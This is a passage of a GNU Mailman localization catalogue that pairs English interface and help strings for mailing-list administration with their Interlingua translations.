            <em>soft</em> meaning either a fatal error occurred, or a
            transient error occurred.  When in doubt, a hard severity is used.

            <p>If no member address can be extracted from the bounce, then the
            bounce is usually discarded.  Otherwise, each member is assigned a
            <em>bounce score</em> and every time we encounter a bounce from
            this member we increment the score.  Hard bounces increment by 1
            while soft bounces increment by 0.5.  We only increment the bounce
            score once per day, so even if we receive ten hard bounces from a
            member per day, their score will increase by only 1 for that day.

            <p>When a member's bounce score is greater than the
            <a href="?VARHELP=bounce/bounce_score_threshold">bounce score
            threshold</a>, the subscription is disabled.  Once disabled, the
            member will not receive any postings from the list until their
            membership is explicitly re-enabled (either by the list
            administrator or the user).  However, they will receive occasional
            reminders that their membership has been disabled, and these
            reminders will include information about how to re-enable their
            membership.

            <p>You can control both the
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings">number
            of reminders</a> the member will receive and the
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings_interval"
            >frequency</a> with which these reminders are sent.

            <p>There is one other important configuration variable; after a
            certain period of time -- during which no bounces from the member
            are received -- the bounce information is
            <a href="?VARHELP=bounce/bounce_info_stale_after">considered
            stale</a> and discarded.  Thus by adjusting this value, and the
            score threshold, you can control how quickly bouncing members are
            disabled.  You should tune both of these to the frequency and
            traffic volume of your list.ThirdThis description is used when the mailing list is listed with
                other mailing lists, or in headers, and so forth.  It should
                be as succinct as you can get it, while still identifying what
                the list is.This is %(also)sa hidden list, which means that the
            list of members is available only to the list administrator.This is %(also)sa private list, which means that the
            list of members is not available to non-members.This is %(also)sa public list, which means that the
            list of members list is available to everyone.This is a closed list, which means your subscription
            will be held for approval.  You will be notified of the list
            moderator's decision by email.This is the default natural language for this mailing list.
             If <a href="?VARHELP=language/available_languages">more than one
             language</a> is supported then users will be able to select their
             own preferences for when they interact with the list.  All other
             interactions will be conducted in the default language.  This
             applies to both web-based and email-based messages, but not to
             email posted by list members.This listThis list does not support digest delivery.This list has no members.This list is restricted; your message was not approved.This list only supports digest delivery.This list only supports digest subscriptions!This page allows you as the list owner, to permanent
    remove this mailing list from the system.  <strong>This action is not
    undoable</strong> so you should undertake it only if you are absolutely
    sure this mailing list has served its purpose and is no longer necessary.

    <p>Note that no warning will be sent to your list members and after this
    action, any subsequent messages sent to the mailing list, or any of its
    administrative addreses will bounce.

    <p>You also have the option of removing the archives for this mailing list
    at this time.  It is almost always recommended that you do
    <strong>not</strong> remove the archives, since they serve as the
    historical record of your mailing list.

    <p>For your safety, you will be asked to reconfirm the list password.
    This section allows you to configure subscription and
            membership exposure policy.  You can also control whether this
            list is public or not.  See also the
            <a href="%(admin)s/archive">Archival Options</a> section for
            separate archive-related privacy settings.This section allows you to configure various anti-spam
            filters posting filters, which can help reduce the amount of spam
            your list members end up receiving.
            This section allows you to configure various filters based on
            the recipient of the message.This setting determines the moderation policy of the
             newsgroup and its interaction with the moderation policy of the
             mailing list.  This only applies to the newsgroup that you are
             gatewaying <em>to</em>, so if you are only gatewaying from
             Usenet, or the newsgroup you are gatewaying to is not moderated,
             set this option to <em>None</em>.

             <p>If the newsgroup is moderated, you can set this mailing list
             up to be the moderation address for the newsgroup.  By selecting
             <em>Moderated</em>, an additional posting hold will be placed in
             the approval process.  All messages posted to the mailing list
             will have to be approved before being sent on to the newsgroup,
             or to the mailing list membership.

             <p><em>Note that if the message has an <tt>Approved</tt> header
             with the list's administrative password in it, this hold test
             will be bypassed, allowing privileged posters to send messages
             directly to the list and the newsgroup.</em>

             <p>Finally, if the newsgroup is moderated, but you want to have
             an open posting policy anyway, you should select <em>Open list,
             moderated group</em>.  The effect of this is to use the normal
             Mailman moderation facilities, but to add an <tt>Approved</tt>
             header to all messages that are gatewayed to Usenet.This text will be prepended to subject lines of messages
             posted to the list, to distinguish mailing list messages in
             mailbox summaries.  Brevity is premium here, it's ok to shorten
             long mailing list names to something more concise, as long as it
             still identifies the mailing list.
             You can also add a sequential number by %%d substitution
             directive. eg.; [listname %%d] -> [listname 123]
                            (listname %%05d) -> (listname 00123)
             This value may be either the name of your news server, or
             optionally of the format name:port, where port is a port number.

             The news server is not part of Mailman proper.  You have to
             already have access to an NNTP server, and that NNTP server must
             recognize the machine this mailing list runs on as a machine
             capable of reading and posting news.This value, if any, will be added to the front of the
             new-subscriber welcome message.  The rest of the welcome message
             already describes the important addresses and URLs for the
             mailing list, so you don't need to include any of that kind of
             stuff here.  This should just contain mission-specific kinds of
             things, like etiquette policies or team orientation, or that kind
             of thing.

             <p>Note that this text will be wrapped, according to the
             following rules:
             <ul><li>Each paragraph is filled so that no line is longer than
                     70 characters.
                 <li>Any line that begins with whitespace is not filled.
                 <li>A blank line separates paragraphs.
             </ul>ThuTo finish creating your mailing list, you must edit your /etc/aliases (or
equivalent) file by adding the following lines, and possibly running the
`newaliases' program:
To unsubscribe from %(realname)s, get a password reminder,
        or change your subscription options %(either)senter your subscription
        email address:
        <p><center> To visit the administrators configuration page for an
        unadvertised list, open a URL similar to this one, but with a '/' and
        the %(extra)slist name appended.  If you have the proper authority,
        you can also <a href="%(creatorurl)s">create a new mailing list</a>.

        <p>General list information can be found at Today's Topics (%(msgcount)d messages)Today's Topics:
Too many recipients to the messageTopic %(i)dTopic filter detailsTopic keywords, one per line, to match against each message.Topic name:Topic specifications require both a name and
                a pattern.  Incomplete topics will be ignored.TopicsTueTurkishTurn this off only if you plan on subscribing people manually
             and don't want them to know that you did so.  This option is most
             useful for transparently migrating lists from some other mailing
             list manager to Mailman.Turn this on if you want password reminders to be sent once
             per month to your members.  Note that members may disable their
             own individual password reminders.UUkrainianUmbrella list settingsUncaught bounce notificationUnknown language: %(lang)sUnknown virtual host: %(safehostname)sUnsubscribeUnsubscribe or edit optionsUnsubscription RequestsUnsubscription requestUnsubscription request confirmedUnsubscription request succeeded.Unsubscription resultsUpdating HTML for article %(seq)sUpdating index files for archive [%(archive)s]Usage:Use this option to prohibit posts according to specific
             header values.  The target value is a regular-expression for
             matching against the specified header.  The match is done
             disregarding letter case.  Lines beginning with '#' are ignored
             as comments.

             <p>For example:<pre>to: .*@public.com </pre> says to hold all
             postings with a <em>To:</em> mail header containing '@public.com'
             anywhere among the addresses.

             <p>Note that leading whitespace is trimmed from the regexp.  This
             can be circumvented in a number of ways, e.g. by escaping or
             bracketing it.Use this option to remove each message attachment that
             matches one of these content types.  Each line should contain a
             string naming a MIME <tt>type/subtype</tt>,
             e.g. <tt>image/gif</tt>.  Leave off the subtype to remove all
             parts with a matching major content type, e.g. <tt>image</tt>.

             <p>Blank lines are ignored.

             <p>See also <a href="?VARHELP=contentfilter/pass_mime_types"
             >pass_mime_types</a> for a content type whitelist.Use this option to remove each message attachment that does
             not have a matching content type.  Requirements and formats are
             exactly like <a href="?VARHELP=contentfilter/filter_mime_types"
             >filter_mime_types</a>.

             <p><b>Note:</b> if you add entries to this list but don't add
             <tt>multipart</tt> to this list, any messages with attachments
             will be rejected by the pass filter.User `%(addr)s' removed from list: %(listname)s.User address/nameUser specific options pageValueView or edit the list configuration information.View this page inVisit Subscriber ListVisit Subscriber listVisit the list's admin pageVisit the list's info pageWarning!  You may encounter permission problems.Warning: We're sorry, but you have already been unsubscribed
        from this mailing list.  To re-subscribe, please visit the
        <a href="%(listinfourl)s">list information page</a>.WedWeeklyWelcome email text fileWelcome to the "%(realname)s" mailing list%(digmode)sWelcome!What steps are required for subscription?<br>When "umbrella_list" is set to indicate that this list has
             other mailing lists as members, then administrative notices like
             confirmations and password reminders need to not be sent to the
             member list addresses, but rather to the owner of those member
             lists.  In that case, the value of this setting is appended to
             the member's account name for such notices.  `-owner' is the
             typical choice.  This setting has no effect when "umbrella_list"
             is "No".When <a href="?VARHELP=nondigest/personalize">personalization</a> is enabled
for this list, additional substitution variables are allowed in your headers
and footers:

<ul><li><b>user_address</b> - The address of the user,
        coerced to lower case.
    <li><b>user_delivered_to</b> - The case-preserved address
        that the user is subscribed with.
    <li><b>user_password</b> - The user's password.
    <li><b>user_name</b> - The user's full name.
    <li><b>user_optionsurl</b> - The url to the user's option
        page.
</ul>
When a message is posted to the list, a series of
            moderation steps are taken to decide whether a moderator must
            first approve the message or not.  This section contains the
            controls for moderation of both member and non-member postings.

            <p>Member postings are held for moderation if their
            <b>moderation flag</b> is turned on.  You can control whether
            member postings are moderated by default or not.

            <p>Non-member postings can be automatically
            <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
            >accepted</a>,
            <a href="?VARHELP=privacy/sender/hold_these_nonmembers">held for
            moderation</a>,
            <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
            >rejected</a> (bounced), or
            <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
            >discarded</a>,
            either individually or as a group.  Any
            posting from a non-member who is not explicitly accepted,
            rejected, or discarded, will have their posting filtered by the
            <a href="?VARHELP=privacy/sender/generic_nonmember_action">general
            non-member rules</a>.

            <p>In the text boxes below, add one address per line; start the
            line with a ^ character to designate a <a href=
            "http://docs.python.org/library/re.html"
            >Python regular expression</a>.  When entering backslashes, do so
            as if you were using Python raw strings (i.e. you generally just
            use a single backslash).

            <p>Note that non-regexp matches are always done first.When a new digest volume is started, the volume number is
             incremented and the issue number is reset to 1.When a new member is subscribed to this list, their initial
             set of options is taken from the this variable's setting.When a post from a non-member is received, the message's
             sender is matched against the list of explicitly
             <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
             >accepted</a>,
             <a href="?VARHELP=privacy/sender/hold_these_nonmembers">held</a>,
             <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
             >rejected</a> (bounced), and
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >discarded</a> addresses.  If no match is found, then this action
             is taken.When members want to leave a list, they will make an
             unsubscription request, either via the web or via email.
             Normally it is best for you to allow open unsubscriptions so that
             users can easily remove themselves from mailing lists (they get
             really upset if they can't get off lists!).

             <p>For some lists though, you may want to impose moderator
             approval before an unsubscription request is processed.  Examples
             of such lists include a corporate mailing list that all employees
             are required to be members of.When receiving digests, which format is default?When set, the list of subscribers is protected by member or
             admin password authentication.When this option is enabled, all list traffic is emergency
             moderated, i.e. held for moderation.  Turn this option on when
             your list is experiencing a flamewar and you want a cooling off
             period.When you are done making changes...When you scrub attachments, they are stored in archive
             area and links are made in the message so that the member can
             access via web browser. If you want the attachments totally
             disappear, you can use content filter options.When you tell Mailman to perform a catchup on the newsgroup,
             this means that you want to start gating messages to the mailing
             list with the next new message found.  All earlier messages on
             the newsgroup will be ignored.  This is as if you were reading
             the newsgroup yourself, and you marked all current messages as
             <em>read</em>.  By catching up, your mailing list members will
             not see any of the earlier messages.Where are replies to list messages directed?
             <tt>Poster</tt> is <em>strongly</em> recommended for most mailing
             lists.Which delivery mode is the default for new users?While Mailman's bounce detector is fairly robust, it's
             impossible to detect every bounce format in the world.  You
             should keep this variable set to <em>Yes</em> for two reasons: 1)
             If this really is a permanent bounce from one of your members,
             you should probably manually remove them from your list, and 2)
             you might want to send the message on to the Mailman developers
             so that this new format can be added to its known set.

             <p>If you really can't be bothered, then set this variable to
             <em>No</em> and all non-detected bounces will be discarded
             without further processing.

             <p><b>Note:</b> This setting will also affect all messages sent
             to your list's -admin address.  This address is deprecated and
             should never be used, but some people may still send mail to this
             address.  If this happens, and this variable is set to
             <em>No</em> those messages too will get discarded.  You may want
             to set up an
             <a href="?VARHELP=autoreply/autoresponse_admin_text">autoresponse
             message</a> for email to the -owner and -admin address.Who can view subscription list?YearlyYesYes, w/discardYes, w/forwardYou are already a member of this mailing list!You are already subscribed!You are already subscribed.You are already using that email addressYou are forbidden from posting messages to this list.You are not a member of the %(listname)s mailing listYou are not allowed to post to this mailing list, and your message has been
automatically rejected.  If you think that your messages are being rejected in
error, contact the mailing list owner at %(listowner)s.You are not allowed to retrieve the list membership.You are not authorized to create new mailing listsYou are not authorized to delete this mailing listYou are not currently a member.  Have you already unsubscribed or changed
your email address?You can access your personal options via the following url:You can create a new mailing list by entering the
    relevant information into the form below.  The name of the mailing list
    will be used as the primary address for posting messages to the list, so
    it should be lowercased.  You will not be able to change this once the
    list is created.

    <p>You also need to enter the email address of the initial list owner.
    Once the list is created, the list owner will be given notification, along
    with the initial list password.  The list owner will then be able to
    modify the password and add or remove additional list owners.

    <p>If you want Mailman to automatically generate the initial list admin
    password, click on `Yes' in the autogenerate field below, and leave the
    initial list password fields empty.

    <p>You must have the proper authorization to create new mailing lists.
    Each site should have a <em>list creator's</em> password, which you can
    enter in the field at the bottom.  Note that the site administrator's
    password can also be used for authentication.
    You cannot add a Reply-To: to an explicit
            address if that address is blank.  Resetting these values.You cannot enable gatewaying unless both the
                <a href="?VARHELP=gateway/nntp_host">news server field</a> and
                the <a href="?VARHELP=gateway/linked_newsgroup">linked
                newsgroup</a> fields are filled in.You did not give the correct old password, so your password has not been
changed.  Use the no argument version of the password command to retrieve your
current password, then try again.You did not give the correct passwordYou forgot to enter the list nameYou forgot to specify the list ownerYou gave the wrong passwordYou have been successfully subscribed to the %(realname)s mailing list.You have been successfully unsubscribed from the
            mailing list %(fqdn_listname)s.  If you were receiving digest
            deliveries you may get one more digest.  If you have any questions
            about your unsubscription, please contact the list owners at
            %(owneraddr)s.You have been unsubscribed from the %(realname)s mailing listYou have canceled the re-enabling of your membership.  If
    we continue to receive bounces from your address, it could be deleted from
    this mailing list.You have canceled your change of address request.You have canceled your subscription request.You have canceled your unsubscription request.You have digest members, but digests are turned
                off. Those people will not receive mail.You have regular list members but non-digestified mail is
                turned off.  They will receive mail until you fix this
                problem.You have successfully created the mailing list
    <b>%(listname)s</b> and notification has been sent to the list owner
    <b>%(owner)s</b>.  You can now:You have successfully deleted the mailing list
    <b>%(listname)s</b>.You have successfully set your options.You have turned off delivery of both digest and
                non-digest messages.  This is an incompatible state of
                affairs.  You must turn on either digest delivery or
                non-digest delivery or your mailing list will basically be
                unusable.You invited %(address)s to your list, but in a
deliberate malicious attempt, they tried to confirm the invitation to a
different list.  We just thought you'd like to know.  No further action by you
is required.You may get one last digest.You may not subscribe a list to itself!You must confirm your unsubscription request by turning
                on the checkbox below the <em>Unsubscribe</em> button.  You
                have not been unsubscribed!You must specify a list name.  Here is the %(link)sYou must specify a list.You must supply a valid email address.You were not invited to this mailing list.  The invitation has been discarded,
and both list administrators have been alerted.You will be sent email requesting confirmation, to
            prevent others from gratuitously subscribing you.You will be sent email requesting confirmation, to
            prevent others from gratuitously subscribing you.  Once
            confirmation is received, your request will be held for approval
            by the list moderator.  You will be notified of the moderator's
            decision by email.You're being a sneaky list owner!Your <code>%(property)s</code> string appeared to
                    have some correctable problems in its new value.
                    The fixed value will be used instead.  Please
                    double check that this is what you intended.
                    Your confirmation is required in order to cancel the
    posting of your message to the mailing list <em>%(listname)s</em>:

    <ul><li><b>Sender:</b> %(sender)s
        <li><b>Subject:</b> %(subject)s
        <li><b>Reason:</b> %(reason)s
    </ul>

    Hit the <em>Cancel posting</em> button to discard the posting.

    <p>Or hit the <em>Continue awaiting approval</em> button to continue to
    allow the list moderator to approve or reject the message.Your confirmation is required in order to complete the
    change of address request for the mailing list <em>%(listname)s</em>.  You
    are currently subscribed with

    <ul><li><b>Real name:</b> %(fullname)s
        <li><b>Old email address:</b> %(oldaddr)s
    </ul>

    and you have requested to %(globallys)s change your email address to

    <ul><li><b>New email address:</b> %(newaddr)s
    </ul>

    Hit the <em>Change address</em> button below to complete the confirmation
    process.

    <p>Or hit <em>Cancel and discard</em> to cancel this change of address
    request.Your confirmation is required in order to complete the
    subscription request to the mailing list <em>%(listname)s</em>.  Your
    subscription settings are shown below; make any necessary changes and hit
    <em>Subscribe</em> to complete the confirmation process.  Once you've
    confirmed your subscription request, you will be shown your account
    options page which you can use to further customize your membership
    options.

    <p>Note: your password will be emailed to you once your subscription is
    confirmed.  You can change it by visiting your personal options page.

    <p>Or hit <em>Cancel my subscription request</em> if you no longer want to
    subscribe to this list.Your confirmation is required in order to complete the
    unsubscription request from the mailing list <em>%(listname)s</em>.  You
    are currently subscribed with

    <ul><li><b>Real name:</b> %(fullname)s
        <li><b>Email address:</b> %(addr)s
    </ul>

    Hit the <em>Unsubscribe</em> button below to complete the confirmation
    process.

    <p>Or hit <em>Cancel and discard</em> to cancel this unsubscription
    request.Your confirmation is required in order to continue with
        the subscription request to the mailing list <em>%(listname)s</em>.
        Your subscription settings are shown below; make any necessary changes
        and hit <em>Subscribe to list ...</em> to complete the confirmation
        process.  Once you've confirmed your subscription request, the
        moderator must approve or reject your membership request.  You will
        receive notice of their decision.

        <p>Note: your password will be emailed to you once your subscription
        is confirmed.  You can change it by visiting your personal options
        page.

        <p>Or, if you've changed your mind and do not want to subscribe to
        this mailing list, you can hit <em>Cancel my subscription
        request</em>.Your confirmation is required to join the %(listname)s mailing listYour confirmation is required to leave the %(listname)s mailing listYour current option settings:Your decisionYour email address:Your membership in the %(realname)s mailing list is
    currently disabled due to excessive bounces.  Your confirmation is
    required in order to re-enable delivery to your address.  We have the
    following information on file:

    <ul><li><b>Member address:</b> %(member)s
        <li><b>Member name:</b> %(username)s
        <li><b>Last bounce received on:</b> %(date)s
        <li><b>Approximate number of days before you are permanently removed
               from this list:</b> %(daysleft)s
    </ul>

    Hit the <em>Re-enable membership</em> button to resume receiving postings
    from the mailing list.  Or hit the <em>Cancel</em> button to defer
    re-enabling your membership.
    Your message had a suspicious header.Your message to %(listname)s awaits moderator approvalYour message was deemed inappropriate by the moderator.Your message was rejectedYour message was too big; please trim it to less than
%(kb)d KB in size.Your new %(listname)s list passwordYour new mailing list: %(listname)sYour password is: %(password)sYour passwords did not match.Your real name:Your request has been forwarded to the list moderator for approval.Your subscription is not allowed because
the email address you gave is insecure.Your subscription is not allowed because the email address you gave is
insecure.Your subscription request has been forwarded to the list administrator
at %(listowner)s for review.Your subscription request has been received, and will soon be acted upon.
Depending on the configuration of this mailing list, your subscription request
may have to be first confirmed by you via email, or approved by the list
moderator.  If confirmation is required, you will soon get a confirmation
email which contains further instructions.Your subscription request was deferred because %(x)s.  Your request has been
forwarded to the list moderator.  You will receive email informing you of the
moderator's decision when they get to your request.Your unsubscription request has been
                    forwarded to the list administrator for approval.Your unsubscription request has been forwarded to the list administrator for
approval.Your unsubscription request has been received and
            forwarded on to the list moderators for approval.  You will
            receive notification once the list moderators have made their
            decision.Your urgent message to the %(realname)s mailing list was not authorized for
delivery.  The original message as received by Mailman is attached.
[No bounce details are available][No explanation given][No reason given][no description available]a single held message.ackack option setadministrative list overviewall held messages.all of %(esender)s's held messages.also article file %(filename)s is missing!attribute "%(k)s" changedattribute "%(k)s" ignoredauthorby the adminby the list administratorby youby yourselfchecking ownership of %(dbfile)schecking permissions on %(file)sdatedaydaysdelivery disabled by userdelivery enableddelivery offdelivery ondigestdigest footerdigest headerdigest option setdisableddue to bouncesdue to excessive bouncesduplicates option setemail address and figuring article archives
for unknown reasonsfrom %(start)s to %(end)sgeneral list overviewgloballyhidehide option setlanguagelegal values are:list creatorlist infolist of available mailing lists.listname is requiredmatching mailing lists found:member address<br>member namemembersmodmyposts option setn/ano dateno subjectnodupesnomail<br>[reason]not availablenot metoooffonoptionspasswordplainprivateprivate archivesprocessing mailing list:publicpublic archivesreminder option setreturn to the %(categoryname)s options page.rightright sitesize not availablestale lock filestop is synonymous with the end command.
subjectsubscriptions to %(name)s require administrator approvalsubscriptions to %(realname)s require moderator approvalthe list admin overview pagethe list administratorthe mailing list overview pagethreadunknown senderunsubunsubscriptions require moderator approvalview all messages from %(esender)sProject-Id-Version: mailman
POT-Creation-Date: Sun Jan 11 08:28:57 2009
PO-Revision-Date: 2005-07-31 00:00+100
Last-Translator: Thomas Breinstrup <info@interlingua.dk>
Language-Team: Interlingua <TradSoft@interlingua.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
Generated-By: pygettext.py 1.4

    confirma <codice de confirmation>
        Confirma un action. Le codice de confirmation es requirite e deberea
        esser providite per un message de notifica in retorno.

    echo [args]
        Simplemente echoa un recognoscentia.  Argumentos es echoate immutate.

    end
        Stoppa le processamento del commandos.  Usa isto si tu programma de
        posta adde automaticamente un signatura.

    help
        Scribe iste message de adjuta.

    info
        Obtene informationes super iste lista de correspondentia.

    lista
        Vide un lista del listas public de correspondentia in iste servitor de GNU Mailman.

    password [<oldpassword> <newpassword>] [address=<adresse>]
        Recupera o cambia tu contrasigno.  Sin indicationes, isto retorna
        tu contrasigno actual.  Con indicationes de <oldpassword> e <newpassword>
        tu pote cambiar tu contrasigno.

        Si tu scribe de un altere adresse que le adresse de tu membrato,
        specifica le adresse de tu membrato con `address=<adresse>' (nulle parentheses
        circum le adresse de posta electronic e nulle signos de citation!).  Nota que in iste caso
        le responsa es sempre inviate al adresse abonante.

    set ...
        Redige o reguarda le optiones de tu membrato.

        Usa `set help' (in anglese e sin le signos de citation) pro obtener un lista plus detaliate del
        optiones que tu pote cambiar.

        Usa `set show' (in anglese e sin le signos de citation) pro vider tu preferentias
        actual.

    set help
        Monstra iste adjuta detaliate.

    set show [address=<adresse>]
        Vide tu preferentias actual.  Si tu scribe de un altere adresse
        que le adresse de tu membrato, specifica le adresse de tu membrato
        per `address=<adresse>' (nulle parentheses circum le adresse de e-posta e nulle
        signos de citation!).

    set authenticate <password> [address=<adresse>]
        Pro rediger ulle de tu preferentias tu debe includer primo iste commando insimul
        con tu contrasigno de membrato.  Si tu scribe de un altere adresse
        que le adresse de tu membrato, specifica tu adresse de membrato
        per `address=<address>' (nulle parentheses circum le adresse de e-posta e nulle
        signos de citation!).

    set ack on
    set ack off
        Quando le option 'ack' es activate, tu recipera un
        message de recognoscentia, quando tu scribe un message al lista.

    set digest plain
    set digest mime
    set digest off
        Quando le option `digest' (summario) es disactivate, tu recipera messages
        immediatemente quando illos es expedite.  Usa `set digest plain' (fixa summario pur) si tu in vice
        desira reciper messages impacchettate in un summario de texto pur
        (i.e. summario RFC 1153).  Usa `set digest mime' (fixa summario mime), si tu in vice desira
        reciper messages impacchettate in un summario del formato MIME.

    set delivery on
    set delivery off
        Activa/disactiva libramento.  Isto non te face disabonar ma in vice
        dice a Mailman non livrar messages a te pro le momento.  Isto es utile
        si tu es in vacantias.  Sia secur de usar `set delivery on' (fixa livramento active),
        quando tu retorna del vacantias!

    set myposts on
    set myposts off
        Usa `set myposts off' (disactiva mi messages) pro non reciper copias de messages
        que tu invia al lista.  Isto ha nulle effecto, si tu recipe summarios.

    set hide on
    set hide off
        Usa `set hide on' pro celar tu adresse de e-posta, quando alcuno requesta
        le lista de membros.

    set duplicates on
    set duplicates off
        Usa `set duplicates off' (disactiva duplicatos), si tu vole que Mailman non invia tu messages
        si tu adresse es explicitemente mentionate in le quadros A: o Cc: del
        message.  Isto pote reducer le numero de messages duplicate
        que tu recipera.

    set reminders on
    set reminders off
        Usa `set reminders off' (disactiva rememorationes), si tu desira disactivar le rememoration
        mensual del contrasigno pro iste lista de correspondentia.

    subscribe [password] [digest|nodigest] [address=<adresse>]
        Abona te a iste lista de correspondentia.  Tu contrasigno debe esser indicate pro
        disabonar te og cambiar tu preferentias, ma si tu omitte le contrasigno,
        un tal va esser create pro te.  Tu pote periodicamente esser rememorate de tu
        contrasigno.

        Le argumento sequente pote esser o: `nodigest' (nulle summario) o `digest' (summario - sin signos de citation!).
        Si tu desira abonar per un altere adresse que le adresse del qual
        tu inviava iste requesta, tu pote specificar `address=<adresse>' (nulle parentheses
        circum le adresse de e-posta e nulle signos de citation!)

    unsubscribe [password] [address=<adresse>]
        Disabona te del lista de correspondentia.  Si indicate, tu contrasigno debe equalar
        tu contrasigno actual.  Si omittite, un message de confirmation essera expedite
        al adresse que desira disabonar se. Si tu desira disabonar un altere adresse
        que le adresse del qual tu inviava iste requesta, tu pote specificar
        `address=<adresse>' (nulle parentheses circum le adresse de e-posta e nulle
        signos de citation!)

    who password
        Vide tote illes qui es in lista.  Le roster es limited solmente al
        administratores e al moderatores del lista; tu debe fornir le
        contrasigno de administrator o moderator pro reciper lo.

- Facite.


- Ignorate:
- Non processate:
Pro finir remover tu lista de correspondentia, tu debe rediger tu file /etc/aliases (o
equivalente) per remover le lineas sequente e possibilemente executar le
programma `newaliases':

lista de correspondentia ## %(listname)s
Usage:
Tu es abonate al lista con le adresse sin variationes de maiusculas
<em>%(cpuser)s</em>.            Tu ha cancellate con successo le postage de tu message con
            subjecto <em>%(subject)s</em> al lista
            %(listname)s.            Tu ha cambiate con successo tu adresse pro le lista %(listname)s
            de <b>%(oldaddr)s</b> a <b>%(newaddr)s</b>.  Tu pote nunc
            <a href="%(optionsurl)s">proceder al pagina de accesso a
            tu abonamento</a>.            Tu ha confirmate con successo le requesta de abonamento de "%(addr)s"
            al lista <em>%(listname)s</em>. Un message separate de confirmation
            essera inviate a tu adresse de e-posta, insimul con tu contrasigno e altere
            informationes e ligamines utile.

            <p>Nunc tu pote
            <a href="%(optionsurl)s">proceder a tu pagina de apertura de
            session</a>.            Tu ha confirmate con successo tu requesta de abonamento al lista
            <em>%(listname)s</em>, ma illo debe esser approbate per le
            moderator del lista. Tu requesta ha essite reinviate al moderator,            e tu essera notificate super su decision.
            Tu ha rehabilitate con successo tu abonamento al
            lista %(listname)s.  Tu pote nunc <a
            href="%(optionsurl)s">visitar tu pagina de optiones de abonato</a>.
            Tu ha essite disabonate del lista %(listname)s con successo.
            Tu pote nunc <a href="%(listinfourl)s">visitar le pagina principal
            de informationes del lista</a>.            Tu non esseva invitate a iste lista.  Le invitation ha essite
            discartate, e ambe le administratores ha essite
            alertate.     Description: %(description)s     Requestas a: %(requestaddr)s    %(status)s (%(how)s a %(date)s)    recognoscentia (ack) %(onoff)s    adresse no trovate:    addite le adresse clone:    la adresse clone jam es un membro:    summario MIME (digest mime)    disactiva summario (digest off)    summario pur (digest plain)    duplicatos %(onoff)s    cela %(onoff)s    mi messages %(onoff)s    nove proprietarios:    adresse original removite:    rememorationes %(onoff)s    scandente le proprietarios de lista:   %(file)s: bon  Discussion %(size)i octettos (%(count)d de %(total)d) (modo union) (ma nos obscura le adresses, a fin que illos non es
                facilemente recognoscibile per spamatores). (require authorisation) (require confirmation)<br>&nbsp;<br> <p>Scribe tu  Si tu lassa le campo vacue, on te demandara
        tu adresse de e-posta Le ultime message rebattite recipite de te data de %(date)s Pro visitar le pagina de informationes general de un lista non public,
        aperi un URL simile a isto, ma con un '/' e le %(adj)s
        nomine del lista appendite.
        <p>Si tu es un administrator del lista, tu pote visitar  e contrasigno pro visitar le lista del abonatos: <p><center>  a  octettos de %(remote)s ja es un membro abonatos:  pro trovar le interfacie de gestion pro tu lista.
         <p>Si tu incontra problemas in le usage de iste listas, per favor contacta lista de correspondentia ## %(listname)s #%(counter)05d %(msgid)s%%%%(address)s non es un membro del lista de correspondentia %(listname)s%(address)s esseva invitate a un differente lista de
correspondentia, ma in un essayo deliberatemente malitiose illes essayava confirmar
le invitation a tu lista.  Nos simplemente pensava que tu debe saper lo.  Nulle action
ulterior es demandate de te.%(allcnt)s membros in total%(allcnt)s membros in total, %(membercnt)s monstrate%(day)i de %(month)s %(year)i%(days)d %(units)s%(dbfile)s in possession de %(owner)s (debe esser in possession de %(user)spermissiones de %(file)s debe esser 066x (tu ha %(octmode)s)Listas de e-posta in %(hostname)sListas in %(hostname)s - Ligamines pro le Admin%(i)3d. Nomine de lista:   %(realname)sRememoration del lista de correspondentia %(listfullname)s%(listinfo_link)s es gestite per %(owner_link)s%(msg)s de %(listname)s non trovate como %(filename)sMessage de test del lista de correspondentia %(listname)sPosta a %(listname)s de %(sender)s require approbamento%(messages)d messages trovate%(month)s %(year)i%(name)s activa le qrunner %(runnername)s%(newaddr)s jam es un membro del lista.%(ord)s trimestre %(year)i%(realname)s -- Edita le html pro %(template_info)s%(realname)s -- Editation del pagina HTMLAdministration de %(realname)s (%(label)s)Pannello de controlo de %(realname)sResultatos del pannello de controlo de %(realname)sDigesto de %(realname)s, volumine %(volume)d, edition %(issue)dAdjuta pro le configuration del lista %(realname)s
    Option <br><em>%(varname)s</em>%(realname)s interfacie administrativeLista %(realname)s: optiones del usator %(safeuser)sLista %(realname)s: pagina de entrata al optiones del membroadministration del lista %(realname)s<br>Section %(label)srecognoscentia de posta de %(realname)sAuthentication fallite al roster %(realname)s.notification de abonamento de %(realname)snotification de disabonamento de %(realname)s%(safetemplatename)s: modello invalide%(wday)s %(mon)s %(day)2i %(hh)02i:%(mm)02i:%(ss)02i %(tzname)s %(year)04i&lt;linea vacue&gt;(<i>%(which)s es visibile solmente pro le
                membros.</i>)(<i>%(which)s es visibile solmente pro le
            administrator.</i>)(Filtro de Administrivia) Controla messages e intercipe tales
             que sembla esser requestas administrative?(Nota: Tu te abona a un lista de listas de correspondentia, dunque le notitia %(type)s essera expedite al adresse del administrator pro tu membrato, %(addr)s.)<p>(corrigente)(adjuta)(nulle cambio)(sin subjecto)- Resultatos:-------------- proxime parte --------------
...post iste....ante iste....o selectiona un file a cargar:; dishabilitate per le administrator; dishabilitate per te; illo esseva disactivate a causa de rebattimentos excessive.  Le
            rebattimento le plus recente esseva recipite %(date)s; dishabilitate a causa de excessive insuccessos.  Le
            ultime insuccesso esseva in %(date)s; dishabilitate per rationes incognite<P>Actualmente il non ha archivos. </P><b><i>o</i></b> <b>Ignora</b> e retorna al administration del lista<b>Codice de confirmation invalide:</b>
    %(safecookie)s.

    <p>Nota que le codice de confirmation expira approximatemente
    %(days)s dies post le requesta initial de abonamento.  Si tu
    confirmation ha expirate, proba resollicitar tu abonamento.
    Alteremente, <a href="%(confirmurl)s">rescribe</a> tu codice de
    confirmation.<b>conf</b> -- Le membro recipe confirmation pro su proprie
        messages?<b>summario</b> -- Esque le membro vole messages in summarios?
        (alteremente, messages individual)<b>occulte</b> -- Es le adresse del membro es occulte
